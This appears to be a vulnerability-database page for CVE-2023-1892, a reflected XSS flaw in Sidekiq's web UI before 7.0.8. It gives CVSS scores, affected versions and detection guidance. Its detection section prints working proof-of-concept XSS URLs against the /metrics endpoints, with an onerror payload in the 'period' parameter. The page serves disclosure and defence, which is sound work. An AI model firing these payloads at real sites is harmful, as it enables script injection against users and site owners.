cbcvebase.
CVE-2023-1892
published 2023-04-21

CVE-2023-1892: Cross-site Scripting (XSS) - Reflected in GitHub repository sidekiq/sidekiq prior to 7.0.8.

PriorityP350critical9.6CVSS 3.1
AVNACLPRNUIRSCCHIHAH
EXPLOIT
EPSS
2.74%
84.3th percentile
Cross-site Scripting (XSS) - Reflected in GitHub repository sidekiq/sidekiq prior to 7.0.8.

Affected

7 ranges
VendorProductVersion rangeFixed in
contribsyssidekiq>= 7.0.4 < 7.0.87.0.8
contribsyssidekiq>= 7.0.4 < 7.0.87.0.8
debianruby-sidekiq
mhenrixonsidekiq-unique-jobs>= 6.0.0.rc7 < 7.1.337.1.33
mhenrixonsidekiq-unique-jobs>= 8.0.0 < 8.0.78.0.7
sidekiqsidekiq_sidekiq>= 7.0.4 < unspecifiedunspecified
sidekiqsidekiq_sidekiq>= unspecified < 7.0.87.0.8

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E
url{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E
url{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E
otherXSS payload: "><img/src/onerror=alert(document.domain)>
  • Monitor HTTP GET requests to Sidekiq /metrics and /metrics/<JobName> endpoints for URL-encoded XSS payloads in the 'period' query parameter (e.g., %22%3E%3Cimg, onerror=).
  • Detection template matches on response body containing the reflected XSS string and Content-Type header of 'text/html' with HTTP 200 status.
  • The vulnerability affects sidekiq/sidekiq versions prior to 7.0.8; flag any Sidekiq web UI instances running versions below 7.0.8 exposed to untrusted input.
  • ·Red Hat Satellite 6 packages rubygem-gitlab-sidekiq-fetcher and rubygem-sidekiq are listed as Not Affected; detections targeting those environments may produce false positives.
  • ·Debian distributions (bookworm, bullseye, forky, sid, trixie) have all resolved this CVE; detections against patched Debian hosts will not trigger.

CVSS provenance

nvdv3.19.6CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
nvdv3.08.3HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
osv9.6CRITICAL
vendor_debian9.6LOW
vendor_redhat9.6CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.